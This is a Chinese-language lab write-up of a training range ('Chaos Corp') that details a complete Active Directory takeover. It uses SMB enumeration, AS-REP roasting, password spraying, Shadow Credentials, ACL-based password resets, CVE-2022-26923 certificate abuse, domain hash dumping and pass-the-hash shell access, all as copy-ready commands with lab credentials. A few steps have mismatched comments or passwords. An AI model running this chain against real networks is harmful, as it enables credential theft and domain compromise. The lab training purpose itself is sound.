博客 / 詳情

返回

無境靶場-Chaos Corp WP

無境靶場:vip.bdziyi.com/ulab

掃描

image-20260108161021248

該機器有極大可能為DC

匿名獲取信息

匿名枚舉用户

nxc smb 192.168.111.10 -u ' ' -p '' --users

image-20260108160247808

嘗試其他方法

impacket-lookupsid ' ':''@192.168.111.10 -no-pass

image-20260108160637994

獲取到以下用户

image-20260108160710969

匿名枚舉共享

nxc smb 192.168.111.10 -u ' ' -p '' --shares

image-20260108160320051

訪問匿名共享 New

smbclient //192.168.111.10/New -U ' '%''

image-20260108160800590

以 GBK 編碼查看文件獲取到一個新員工賬户

image-20260108160926576

域信息收集

bloodhound 信息收集

Kali 默認沒有安裝 bloodhound,可以根據下面的文檔安裝

bloodhound | Kali Linux Tools

bloodhound-python -c All -u newmht -p 'New@1234' -ns 192.168.111.10 -d sec.org -dc ad.sec.org --zip

image-20260108162459074

但是這個賬號沒有利用的東西

image-20260108162630934

asreproast

經過詳細的查找,找到了一個用户可以進行 asreproast

image-20260108163050417

nxc ldap 192.168.111.10 -u newmht -p 'New@1234' --asreproast ASREPROAST --kdcHost 192.168.111.10

image-20260108163223851

進行密碼爆破

john --wordlist=/usr/share/wordlists/rockyou.txt ASREPROAST

image-20260108163416753

image-20260108163531937

這個賬户屬於人事部,但是也沒有見到利用的路徑,只能嘗試一下密碼噴射域內所有的用户,幸運地獲取到 Moly 的密碼

nxc smb 192.168.111.10 -u users.txt -p 'mahalkita'

image-20260108163755305

Shadow Credentials

分析 Moly,發現 Moly 對 開發部 這個安全組有 WriteOwner 的權限

image-20260108163956339

暫時考慮為 Shadow Credentials,但是還得看是否滿足下面的4個條件

image-20260108171243073

回頭看掃描結果,發現有636端口,嘗試訪問域控證書的端點

curl -k http://192.168.111.10/certsrv/

image-20260108170528531

image-20260108170603243

共享也可以看到開放了證書服務

image-20260108180946180

再看一下系統版本,有可能是 Windows Server 2016

image-20260108170827619

剩下的條件:

能改變某個賬號的msDS-KeyCredentialLink屬性,就能獲得這個賬號的TGT和NTLM Hash

certipy-ad find -u 'Moly@sec.org' -p 'mahalkita' -dc-ip 192.168.111.10 -vulnerable

image-20260108171713608

從結果來看好像沒有什麼有用的信息,那就直接利用試試

# 修改權限
impacket-dacledit \
  -action write \
  -rights WriteMembers \
  -principal 'Moly' \
  -target-dn 'CN=Dev,DC=sec,DC=org' \
  -dc-ip 192.168.111.10 \
  'sec.org/Moly:mahalkita'

image-20260108172036408

# 將 Moly 加入 開發部 這個組
bloodyAD --host 192.168.111.10 -d sec.org -u Moly -p 'mahalkita' set owner '開發部' Moly

image-20260108171940791

certipy-ad shadow auto -u Moly@sec.org -p mahalkita -dc-ip 192.168.111.10 -account Cook

image-20260108172227583

先關閉虛擬機的時間同步,再同步域控時間

image-20260127133818404

請求失敗是因為域控和Kali時間差距過大,需要從域控同步時間

# 同步域控時間
ntpdate -4 -b 192.168.111.10
# 再次請求
certipy-ad shadow auto -u Moly@sec.org -p mahalkita -dc-ip 192.168.111.10 -account Cook

image-20260108174827887

如果還是不行,可以嘗試

apt install chrony -y
# 編輯配置,取消 pool的註釋
vim /etc/chrony/chrony.conf
server 192.168.111.10 iburst
systemctl restart chrony

# 檢查源狀態
chronyc sources -v
# 手動強制同步
ntpdate -4 -b 192.168.111.10 # 也可以一起使用
chronyc makestep
chronyc tracking

image-20260108175639499

同步成功的判斷

# 同步需要點時間,大概三分鐘
# chronyc tracking 顯示 MS Name(192.168.111.10)一致
# Last 接近 0

image-20260108175137073

ACL 濫用

Cook 對 Jock 有 ForceChangePassword 的權限

image-20260108164239242

先利用 Cook 的 hash 修改 Cook 自身的裏面

impacket-changepasswd -hashes :8ac71e8fdb3f7468c3b0d80611dee7e4 sec.org/Cook@192.168.111.10 -newpass '123456'

# 修改 Jock 的密碼為 123456
net rpc password "Jock" -U "sec.org"/"Cook"%"123456" -S 192.168.111.10

image-20260108175513019

Jock 對 MHT 有 GenericAll 權限

image-20260108164309568

# 修改 mht 的密碼為 123456
net rpc password mht -U 'sec.org'/'Jock'%'123456' -S 192.168.111.10

image-20260108175615872

但是到 MHT 這裏,利用的線索又斷開了

image-20260108164432578

Certificate Services

mht的線索斷開了,但是先嚐試使用 Moly 的密碼來請求域證書

  1. 查找 CA 名稱
certipy-ad find -u 'Moly@sec.org' -p 'mahalkita' -target 192.168.111.10

image-20260108180508190

  1. 請求證書
certipy-ad req -u 'Moly@sec.org' -p 'mahalkita' -target 192.168.111.10 -ca sec-AD-CA -template User

image-20260108180716995

最後逐個嘗試,只有 mht 能正常請求證書

certipy-ad req -u 'mht@sec.org' -p '123456' -target 192.168.111.10 -ca sec-AD-CA -template User

image-20260108180820962

只能考慮是否有 ADCS 權限提升漏洞

CVE-2022-26923

  1. 查詢是否可以創建計算機賬户
ldapsearch -x -H ldap://192.168.111.10 -D 'mht@sec.org' -w '123456' -b 'DC=sec,DC=org' -s base ms-DS-MachineAccountQuota

image-20260108182025951

  1. 添加計算機賬户
impacket-addcomputer 'sec.org/mht:123456' -computer-name 'cve' -computer-pass 'cve@123456' -dc-ip 192.168.111.10

image-20260108181159900

  1. 修改 dNSHostName
bloodyAD -d sec.org -u mht -p '123456' --host 192.168.111.10 set object 'CN=cve,CN=Computers,DC=sec,DC=org' dNSHostName -v 'ad.sec.org'

image-20260108181228448

  1. 請求 AD$ 的證書
certipy-ad req -u 'cve$@sec.org' -p 'cve@123456' -target 192.168.111.10 -ca sec-AD-CA -template Machine -ldap-scheme ldap

image-20260108181256487

  1. 證書傳遞
certipy-ad auth -pfx ad.pfx -dc-ip 192.168.111.10

image-20260108181320196

  1. 導出域內所有哈希
impacket-secretsdump 'sec.org/AD$@192.168.111.10' -hashes :af09c873164ed481ecf0f6230966d0ad -target-ip 192.168.111.10 -just-dc

image-20260108181351448

impacket-wmiexec -hashes :6f4009ffe6f419f6ebef8c5c4495f26f 'sec.org'/Administrator@192.168.111.10 -target-ip 192.168.111.10 -codec gbk

image-20260108181618272

當然 ESC4 + ESC1 也可以利用

certipy-ad template -u 'mht@sec.org' -p 'CEO@Hacked123' -dc-ip 192.168.111.10 -template 'User' -write-default-configuration

certipy-ad req -u mht@sec.org -p 'CEO@Hacked123' -dc-ip 192.168.111.10 -ca 'sec-AD-CA' -template 'User' -upn 'administrator@sec.org' -target 192.168.111.10
user avatar
0 位用戶收藏了這個故事!

發佈 評論

Some HTML is okay.